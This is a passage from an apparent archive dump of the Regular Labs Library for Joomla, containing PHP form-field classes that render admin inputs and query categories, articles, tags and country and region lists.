class JFormFieldRL_ConditionSelection extends \RegularLabs\Library\Field
{
public $type = 'ConditionSelection';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$this->value = (int) $this->value;
$label = $this->get('label');
$param_name = $this->get('name');
$use_main_switch = $this->get('use_main_switch', 1);
$showclose = $this->get('showclose', 0);
$html = [];
if ( ! $label)
{
if ($use_main_switch)
{
$html[] = $this->closeShowOn();
}
$html[] = $this->closeShowOn();
return '</div>' . implode('', $html);
}
$label = RL_String::html_entity_decoder(JText::_($label));
$html[] = '</div>';
if ($use_main_switch)
{
$html[] =
$this->openShowOn('show_conditions:1[OR]show_assignments:1[OR]'
. $param_name . ':1,2');
}
$class = 'well well-small rl_well';
if ($this->value === 1)
{
$class .= ' alert-success';
}
else if ($this->value === 2)
{
$class .= ' alert-error';
}
$html[] = '<div class="' . $class .
'">';
if ($showclose &&
JFactory::getUser()->authorise('core.admin'))
{
$html[] = '<button type="button"
class="close"
aria-label="Close">×</button>';
}
$html[] = '<div class="control-group">';
$html[] = '<div class="control-label">';
$html[] = '<label><h4>' . $label .
'</h4></label>';
$html[] = '</div>';
$html[] = '<div class="controls">';
$html[] = '<fieldset id="' . $this->id .
'" class="radio btn-group">';
$onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this,
0)"';
$html[] = '<input type="radio" id="' .
$this->id . '0" name="' . $this->name .
'" value="0"' . (( ! $this->value) ? '
checked="checked"' : '') . $onclick .
'>';
$html[] = '<label class="rl_btn-ignore"
for="' . $this->id . '0">' .
JText::_('RL_IGNORE') . '</label>';
$onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this,
1)"';
$html[] = '<input type="radio" id="' .
$this->id . '1" name="' . $this->name .
'" value="1"' . (($this->value === 1) ? '
checked="checked"' : '') . $onclick .
'>';
$html[] = '<label class="rl_btn-include"
for="' . $this->id . '1">' .
JText::_('RL_INCLUDE') . '</label>';
$onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this,
2)"';
$onclick .= ' onload="RegularLabsForm.setToggleTitleClass(this,
' . $this->value . ', 7)"';
$html[] = '<input type="radio" id="' .
$this->id . '2" name="' . $this->name .
'" value="2"' . (($this->value === 2) ? '
checked="checked"' : '') . $onclick .
'>';
$html[] = '<label class="rl_btn-exclude"
for="' . $this->id . '2">' .
JText::_('RL_EXCLUDE') . '</label>';
$html[] = '</fieldset>';
$html[] = '</div>';
$html[] = '</div>';
$html[] = '<div class="clearfix">
</div>';
$html[] = $this->openShowOn($param_name . ':1,2');
$html[] = '<div><div>';
return '</div>' . implode('', $html);
}
protected function openShowOn($condition = '')
{
if ( ! $condition)
{
return $this->closeShowon();
}
$formControl = $this->get('form', $this->formControl);
$formControl = $formControl == 'root' ? '' :
$formControl;
return RL_ShowOn::open($condition, $formControl);
}
protected function closeShowOn()
{
return RL_ShowOn::close();
}
}
fields/content.php000064400000005150151165347160010207 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\ArrayHelper as RL_ArrayHelper;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Content extends \RegularLabs\Library\FieldGroup
{
public $type = 'Content';
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__categories')
->where('extension = ' .
$this->db->quote('com_content'))
->where('parent_id > 0')
->where('published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$this->value = RL_ArrayHelper::toArray($this->value);
// assemble items to the array
$options = [];
if ($this->get('show_ignore'))
{
if (in_array('-1', $this->value))
{
$this->value = ['-1'];
}
$options[] = JHtml::_('select.option', '-1', '-
' . JText::_('RL_IGNORE') . ' -');
$options[] = JHtml::_('select.option', '-',
' ', 'value', 'text', true);
}
$query->clear('select')
->select('id, title as name, level, published, language')
->order('lft');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
$options = array_merge($options, $this->getOptionsByList($list,
['language'], -1));
return $options;
}
function getItems()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__content AS i')
->where('i.access > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('i.id, i.title as name, i.language, c.title as cat,
i.state as published')
->join('LEFT', '#__categories AS c ON c.id =
i.catid')
->order('i.title, i.ordering, i.id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
$options = $this->getOptionsByList($list, ['language',
'cat', 'id']);
if ($this->get('showselect'))
{
array_unshift($options, JHtml::_('select.option',
'-', ' ', 'value', 'text',
true));
array_unshift($options, JHtml::_('select.option',
'-', '- ' . JText::_('Select Item') . '
-'));
}
return $options;
}
}
fields/customfieldkey.php000064400000002674151165347160011574
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_CustomFieldKey extends \RegularLabs\Library\Field
{
public $type = 'CustomFieldKey';
protected function getLabel()
{
$label = $this->get('label') ?
$this->get('label') : '';
$size = $this->get('size') ?
'style="width:' . $this->get('size') .
'px"' : '';
$class = 'class="' .
($this->get('class') ? $this->get('class') :
'text_area') . '"';
$this->value =
htmlspecialchars(RL_String::html_entity_decoder($this->value),
ENT_QUOTES);
return
'<label for="' . $this->id . '"
style="margin-top: -5px;">'
. '<input type="text" name="' .
$this->name . '" id="' . $this->id . '"
value="' . $this->value
. '" placeholder="' . JText::_($label) .
'" title="' . JText::_($label) . '" ' .
$class . ' ' . $size . '>'
. '</label>';
}
protected function getInput()
{
return '<div
style="display:none;"><div><div>';
}
}
fields/customfieldvalue.php000064400000002544151165347160012114
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_CustomFieldValue extends \RegularLabs\Library\Field
{
public $type = 'CustomFieldValue';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$label = $this->get('label') ?
$this->get('label') : '';
$size = $this->get('size') ?
'style="width:' . $this->get('size') .
'px"' : '';
$class = 'class="' .
($this->get('class') ? $this->get('class') :
'text_area') . '"';
$this->value =
htmlspecialchars(RL_String::html_entity_decoder($this->value),
ENT_QUOTES);
return
'</div></div></div>'
. '<input type="text" name="' .
$this->name . '" id="' . $this->id . '"
value="' . $this->value
. '" placeholder="' . JText::_($label) .
'" title="' . JText::_($label) . '" ' .
$class . ' ' . $size . '>';
}
}
fields/datetime.php000064400000002450151165347170010332 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Date as RL_Date;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_DateTime extends \RegularLabs\Library\Field
{
public $type = 'DateTime';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$label = $this->get('label');
$format = $this->get('format');
$date = JFactory::getDate();
$tz = new
DateTimeZone(JFactory::getApplication()->getCfg('offset'));
$date->setTimeZone($tz);
if ($format)
{
if (strpos($format, '%') !== false)
{
$format = RL_Date::strftimeToDateFormat($format);
}
$html = $date->format($format, true);
}
else
{
$html = $date->format('', true);
}
if ($label)
{
$html = JText::sprintf($label, $html);
}
return '</div><div>' . $html;
}
}
fields/dependency.php000064400000005267151165347170010665 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\RegEx as RL_RegEx;
jimport('joomla.form.formfield');
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Dependency extends \RegularLabs\Library\Field
{
public $type = 'Dependency';
protected function getLabel()
{
return '';
}
protected function getInput()
{
if ($file = $this->get('file'))
{
$label = $this->get('label', 'the main
extension');
RLFieldDependency::setMessage($file, $label);
return '';
}
$path = ($this->get('path') == 'site') ?
'' : '/administrator';
$label = $this->get('label');
$file = $this->get('alias', $label);
$file = RL_RegEx::replace('[^a-z-]', '',
strtolower($file));
$extension = $this->get('extension');
switch ($extension)
{
case 'com':
$file = $path . '/components/com_' . $file .
'/com_' . $file . '.xml';
break;
case 'mod':
$file = $path . '/modules/mod_' . $file . '/mod_' .
$file . '.xml';
break;
default:
$file = '/plugins/' . str_replace('plg_',
'', $extension) . '/' . $file . '.xml';
break;
}
$label = JText::_($label) . ' (' . JText::_('RL_' .
strtoupper($extension)) . ')';
RLFieldDependency::setMessage($file, $label);
return '';
}
}
class RLFieldDependency
{
static function setMessage($file, $name)
{
jimport('joomla.filesystem.file');
$file = str_replace('\\', '/', $file);
if (strpos($file, '/administrator') === 0)
{
$file = str_replace('/administrator', JPATH_ADMINISTRATOR,
$file);
}
else
{
$file = JPATH_SITE . '/' . $file;
}
$file = str_replace('//', '/', $file);
$file_alt = RL_RegEx::replace('(com|mod)_([a-z-_]+\.)',
'\2', $file);
if ( ! file_exists($file) && ! file_exists($file_alt))
{
$msg =
JText::sprintf('RL_THIS_EXTENSION_NEEDS_THE_MAIN_EXTENSION_TO_FUNCTION',
JText::_($name));
$message_set = 0;
$messageQueue = JFactory::getApplication()->getMessageQueue();
foreach ($messageQueue as $queue_message)
{
if ($queue_message['type'] == 'error' &&
$queue_message['message'] == $msg)
{
$message_set = 1;
break;
}
}
if ( ! $message_set)
{
JFactory::getApplication()->enqueueMessage($msg, 'error');
}
}
}
}
fields/easyblog.php000064400000004151151165347170010343 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_EasyBlog extends \RegularLabs\Library\FieldGroup
{
public $type = 'EasyBlog';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['categories' =>
'category', 'items' => 'post',
'tags' => 'tag']))
{
return $error;
}
return $this->getSelectList();
}
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__easyblog_category AS c')
->where('c.published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('c.id, c.parent_id, c.title, c.published')
->order('c.ordering, c.title');
$this->db->setQuery($query);
$items = $this->db->loadObjectList();
return $this->getOptionsTreeByList($items);
}
function getItems()
{
$query = $this->db->getQuery(true)
->select('i.id, i.title as name, c.title as cat,
i.published')
->from('#__easyblog_post AS i')
->join('LEFT', '#__easyblog_category AS c ON c.id =
i.category_id')
->where('i.published > -1')
->order('i.title, c.title, i.id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['cat',
'id']);
}
function getTags()
{
$query = $this->db->getQuery(true)
->select('t.alias as id, t.title as name')
->from('#__easyblog_tag AS t')
->where('t.published > -1')
->where('t.title != ' .
$this->db->quote(''))
->group('t.title')
->order('t.title');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list);
}
}
fields/editor.php000064400000002042151165347170010021 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Editor extends \RegularLabs\Library\Field
{
public $type = 'Editor';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$width = $this->get('width', '100%');
$height = $this->get('height', 400);
$this->value = htmlspecialchars($this->value, ENT_COMPAT,
'UTF-8');
// Get an editor object.
$editor = JFactory::getEditor();
$html = $editor->display($this->name, $this->value, $width,
$height, true, $this->id);
return '</div><div>' . $html;
}
}
fields/field.php000064400000003262151165347170007623 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Field extends \RegularLabs\Library\Field
{
public $type = 'Field';
protected function getInput()
{
$options = $this->getFields();
return $this->selectListSimple($options, $this->name,
$this->value, $this->id);
}
function getFields()
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('DISTINCT a.id, a.name, a.type, a.title')
->from('#__fields AS a')
->where('a.state = 1')
->order('a.name');
$db->setQuery($query);
$fields = $db->loadObjectList();
$options = [];
$options[] = JHtml::_('select.option', '', '-
' . JText::_('RL_SELECT_FIELD') . ' -');
foreach ($fields as &$field)
{
// Skip our own subfields type. We won't have subfields in
subfields.
if ($field->type == 'subfields' || $field->type ==
'repeatable')
{
continue;
}
$options[] = JHtml::_('select.option', $field->name,
($field->title . ' (' . $field->type . ')'));
}
if ($this->get('show_custom'))
{
$options[] = JHtml::_('select.option', 'custom',
'- ' . JText::_('RL_CUSTOM') . ' -');
}
return $options;
}
}
fields/filelist.php000064400000005337151165347170010360 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\RegEx as RL_RegEx;
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
JFormHelper::loadFieldClass('list');
class JFormFieldRL_FileList extends JFormFieldList
{
public $type = 'FileList';
private $params = null;
protected function getInput()
{
return parent::getInput();
}
protected function getOptions()
{
$options = [];
$path = $this->get('folder');
if ( ! is_dir($path))
{
$path = JPATH_ROOT . '/' . $path;
}
// Prepend some default options based on field attributes.
if ( ! $this->get('hidenone', 0))
{
$options[] = JHtml::_('select.option', '-1',
JText::alt('JOPTION_DO_NOT_USE',
RL_RegEx::replace('[^a-z0-9_\-]', '_',
$this->fieldname)));
}
if ( ! $this->get('hidedefault', 0))
{
$options[] = JHtml::_('select.option', '',
JText::alt('JOPTION_USE_DEFAULT',
RL_RegEx::replace('[^a-z0-9_\-]', '_',
$this->fieldname)));
}
// Get a list of files in the search path with the given filter.
$files = JFolder::files($path, $this->get('filter'));
// Build the options list from the list of files.
if (is_array($files))
{
foreach ($files as $file)
{
// Check to see if the file is in the exclude mask.
if ($this->get('exclude'))
{
if (RL_RegEx::match(chr(1) . $this->get('exclude') .
chr(1), $file))
{
continue;
}
}
// If the extension is to be stripped, do it.
if ($this->get('stripext', 1))
{
$file = JFile::stripExt($file);
}
$label = $file;
if ($this->get('language_prefix'))
{
$label = JText::_($this->get('language_prefix') .
strtoupper($label));
}
$options[] = JHtml::_('select.option', $file, $label);
}
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
private function get($val, $default = '')
{
if (isset($this->element[$val]))
{
return (string) $this->element[$val] != '' ? (string)
$this->element[$val] : $default;
}
if (isset($this->params[$val]))
{
return (string) $this->params[$val] != '' ? (string)
$this->params[$val] : $default;
}
return $default;
}
}
fields/flexicontent.php000064400000002721151165347170011241
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_FlexiContent extends \RegularLabs\Library\FieldGroup
{
public $type = 'FlexiContent';
public $default_group = 'Tags';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['tags',
'types']))
{
return $error;
}
return $this->getSelectList();
}
function getTags()
{
$query = $this->db->getQuery(true)
->select('t.name as id, t.name')
->from('#__flexicontent_tags AS t')
->where('t.published = 1')
->where('t.name != ' .
$this->db->quote(''))
->group('t.name')
->order('t.name');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list);
}
function getTypes()
{
$query = $this->db->getQuery(true)
->select('t.id, t.name')
->from('#__flexicontent_types AS t')
->where('t.published = 1')
->order('t.name, t.id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list);
}
}
fields/form2content.php000064400000002172151165347170011157
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Form2Content extends \RegularLabs\Library\FieldGroup
{
public $type = 'Form2Content';
public $default_group = 'Projects';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['projects' =>
'project'], '', 'f2c'))
{
return $error;
}
return $this->getSelectList();
}
function getProjects()
{
$query = $this->db->getQuery(true)
->select('t.id, t.title as name')
->from('#__f2c_project AS t')
->where('t.published = 1')
->order('t.title, t.id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list);
}
}
fields/geo.php000064400000270140151165347170007313 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\Registry\Registry;
use RegularLabs\Library\Form as RL_Form;
use RegularLabs\Library\RegEx as RL_RegEx;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Geo extends \RegularLabs\Library\Field
{
public $type = 'Geo';
protected function getInput()
{
if ( ! is_array($this->value))
{
$this->value = explode(',', $this->value);
}
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
$group = $this->get('group', 'countries');
$use_names = $this->get('use_names', false);
return $this->selectListSimpleAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'multiple', 'group',
'use_names')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$options = $this->getOptions(
$attributes->get('group', 'countries'),
(bool) $attributes->get('use_names', false)
);
return $this->selectListSimple($options, $name, $value, $id, $size,
true);
}
function getOptions($group = 'countries', $use_names =
'')
{
$options = [];
foreach ($this->{$group} as $key => $val)
{
if ( ! $val)
{
$options[] = JHtml::_('select.option', '-',
' ', 'value', 'text', true);
continue;
}
if ($key[0] == '-')
{
$options[] = JHtml::_('select.option', '-', $val,
'value', 'text', true);
continue;
}
$val = RL_Form::prepareSelectItem($val);
$options[] = JHtml::_('select.option', $use_names ? $val :
$key, $val);
}
return $options;
}
public $continents = [
'AF' => 'Africa',
'AS' => 'Asia',
'EU' => 'Europe',
'NA' => 'North America',
'SA' => 'South America',
'OC' => 'Oceania',
'AN' => 'Antarctica',
];
public $countries = [
'AF' => "Afghanistan",
'AX' => "Aland Islands",
'AL' => "Albania",
'DZ' => "Algeria",
'AS' => "American Samoa",
'AD' => "Andorra",
'AO' => "Angola",
'AI' => "Anguilla",
'AQ' => "Antarctica",
'AG' => "Antigua and Barbuda",
'AR' => "Argentina",
'AM' => "Armenia",
'AW' => "Aruba",
'AU' => "Australia",
'AT' => "Austria",
'AZ' => "Azerbaijan",
'BS' => "Bahamas",
'BH' => "Bahrain",
'BD' => "Bangladesh",
'BB' => "Barbados",
'BY' => "Belarus",
'BE' => "Belgium",
'BZ' => "Belize",
'BJ' => "Benin",
'BM' => "Bermuda",
'BT' => "Bhutan",
'BO' => "Bolivia",
'BA' => "Bosnia and Herzegovina",
'BW' => "Botswana",
'BV' => "Bouvet Island",
'BR' => "Brazil",
'IO' => "British Indian Ocean Territory",
'BN' => "Brunei Darussalam",
'BG' => "Bulgaria",
'BF' => "Burkina Faso",
'BI' => "Burundi",
'KH' => "Cambodia",
'CM' => "Cameroon",
'CA' => "Canada",
'CV' => "Cape Verde",
'KY' => "Cayman Islands",
'CF' => "Central African Republic",
'TD' => "Chad",
'CL' => "Chile",
'CN' => "China",
'CX' => "Christmas Island",
'CC' => "Cocos (Keeling) Islands",
'CO' => "Colombia",
'KM' => "Comoros",
'CG' => "Congo",
'CD' => "Congo, The Democratic Republic of the",
'CK' => "Cook Islands",
'CR' => "Costa Rica",
'CI' => "Cote d'Ivoire",
'HR' => "Croatia",
'CU' => "Cuba",
'CY' => "Cyprus",
'CZ' => "Czech Republic",
'DK' => "Denmark",
'DJ' => "Djibouti",
'DM' => "Dominica",
'DO' => "Dominican Republic",
'EC' => "Ecuador",
'EG' => "Egypt",
'SV' => "El Salvador",
'GQ' => "Equatorial Guinea",
'ER' => "Eritrea",
'EE' => "Estonia",
'ET' => "Ethiopia",
'FK' => "Falkland Islands (Malvinas)",
'FO' => "Faroe Islands",
'FJ' => "Fiji",
'FI' => "Finland",
'FR' => "France",
'GF' => "French Guiana",
'PF' => "French Polynesia",
'TF' => "French Southern Territories",
'GA' => "Gabon",
'GM' => "Gambia",
'GE' => "Georgia",
'DE' => "Germany",
'GH' => "Ghana",
'GI' => "Gibraltar",
'GR' => "Greece",
'GL' => "Greenland",
'GD' => "Grenada",
'GP' => "Guadeloupe",
'GU' => "Guam",
'GT' => "Guatemala",
'GG' => "Guernsey",
'GN' => "Guinea",
'GW' => "Guinea-Bissau",
'GY' => "Guyana",
'HT' => "Haiti",
'HM' => "Heard Island and McDonald Islands",
'VA' => "Holy See (Vatican City State)",
'HN' => "Honduras",
'HK' => "Hong Kong",
'HU' => "Hungary",
'IS' => "Iceland",
'IN' => "India",
'ID' => "Indonesia",
'IR' => "Iran, Islamic Republic of",
'IQ' => "Iraq",
'IE' => "Ireland",
'IM' => "Isle of Man",
'IL' => "Israel",
'IT' => "Italy",
'JM' => "Jamaica",
'JP' => "Japan",
'JE' => "Jersey",
'JO' => "Jordan",
'KZ' => "Kazakhstan",
'KE' => "Kenya",
'KI' => "Kiribati",
'KP' => "Korea, Democratic People's Republic
of",
'KR' => "Korea, Republic of",
'KW' => "Kuwait",
'KG' => "Kyrgyzstan",
'LA' => "Lao People's Democratic Republic",
'LV' => "Latvia",
'LB' => "Lebanon",
'LS' => "Lesotho",
'LR' => "Liberia",
'LY' => "Libyan Arab Jamahiriya",
'LI' => "Liechtenstein",
'LT' => "Lithuania",
'LU' => "Luxembourg",
'MO' => "Macao",
'MK' => "Macedonia",
'MG' => "Madagascar",
'MW' => "Malawi",
'MY' => "Malaysia",
'MV' => "Maldives",
'ML' => "Mali",
'MT' => "Malta",
'MH' => "Marshall Islands",
'MQ' => "Martinique",
'MR' => "Mauritania",
'MU' => "Mauritius",
'YT' => "Mayotte",
'MX' => "Mexico",
'FM' => "Micronesia, Federated States of",
'MD' => "Moldova, Republic of",
'MC' => "Monaco",
'MN' => "Mongolia",
'ME' => "Montenegro",
'MS' => "Montserrat",
'MA' => "Morocco",
'MZ' => "Mozambique",
'MM' => "Myanmar",
'NA' => "Namibia",
'NR' => "Nauru",
'NP' => "Nepal",
'NL' => "Netherlands",
'AN' => "Netherlands Antilles",
'NC' => "New Caledonia",
'NZ' => "New Zealand",
'NI' => "Nicaragua",
'NE' => "Niger",
'NG' => "Nigeria",
'NU' => "Niue",
'NF' => "Norfolk Island",
'MP' => "Northern Mariana Islands",
'NO' => "Norway",
'OM' => "Oman",
'PK' => "Pakistan",
'PW' => "Palau",
'PS' => "Palestinian Territory",
'PA' => "Panama",
'PG' => "Papua New Guinea",
'PY' => "Paraguay",
'PE' => "Peru",
'PH' => "Philippines",
'PN' => "Pitcairn",
'PL' => "Poland",
'PT' => "Portugal",
'PR' => "Puerto Rico",
'QA' => "Qatar",
'RE' => "Reunion",
'RO' => "Romania",
'RU' => "Russian Federation",
'RW' => "Rwanda",
'SH' => "Saint Helena",
'KN' => "Saint Kitts and Nevis",
'LC' => "Saint Lucia",
'PM' => "Saint Pierre and Miquelon",
'VC' => "Saint Vincent and the Grenadines",
'WS' => "Samoa",
'SM' => "San Marino",
'ST' => "Sao Tome and Principe",
'SA' => "Saudi Arabia",
'SN' => "Senegal",
'RS' => "Serbia",
'SC' => "Seychelles",
'SL' => "Sierra Leone",
'SG' => "Singapore",
'SK' => "Slovakia",
'SI' => "Slovenia",
'SB' => "Solomon Islands",
'SO' => "Somalia",
'ZA' => "South Africa",
'GS' => "South Georgia and the South Sandwich
Islands",
'ES' => "Spain",
'LK' => "Sri Lanka",
'SD' => "Sudan",
'SR' => "Suriname",
'SJ' => "Svalbard and Jan Mayen",
'SZ' => "Swaziland",
'SE' => "Sweden",
'CH' => "Switzerland",
'SY' => "Syrian Arab Republic",
'TW' => "Taiwan",
'TJ' => "Tajikistan",
'TZ' => "Tanzania, United Republic of",
'TH' => "Thailand",
'TL' => "Timor-Leste",
'TG' => "Togo",
'TK' => "Tokelau",
'TO' => "Tonga",
'TT' => "Trinidad and Tobago",
'TN' => "Tunisia",
'TR' => "Turkey",
'TM' => "Turkmenistan",
'TC' => "Turks and Caicos Islands",
'TV' => "Tuvalu",
'UG' => "Uganda",
'UA' => "Ukraine",
'AE' => "United Arab Emirates",
'GB' => "United Kingdom",
'US' => "United States",
'UM' => "United States Minor Outlying Islands",
'UY' => "Uruguay",
'UZ' => "Uzbekistan",
'VU' => "Vanuatu",
'VE' => "Venezuela",
'VN' => "Vietnam",
'VG' => "Virgin Islands, British",
'VI' => "Virgin Islands, U.S.",
'WF' => "Wallis and Futuna",
'EH' => "Western Sahara",
'YE' => "Yemen",
'ZM' => "Zambia",
'ZW' => "Zimbabwe",
];
public $regions = [
'-AU' => "Australia",
'AU-ACT' => "Australia: Australian Capital
Territory",
'AU-NSW' => "Australia: New South Wales",
'AU-NT' => "Australia: Northern Territory",
'AU-QLD' => "Australia: Queensland",
'AU-SA' => "Australia: South Australia",
'AU-TAS' => "Australia: Tasmania",
'AU-VIC' => "Australia: Victoria",
'AU-WA' => "Australia: Western Australia",
'--BE' => "", '-BE' =>
"Belgium",
'BE-VAN' => "Belgium: Antwerpen",
'BE-WBR' => "Belgium: Brabant Wallon",
'BE-BRU' => "Belgium: Brussels-Capital Region",
'BE-WHT' => "Belgium: Hainaut",
'BE-WLG' => "Belgium: Liege",
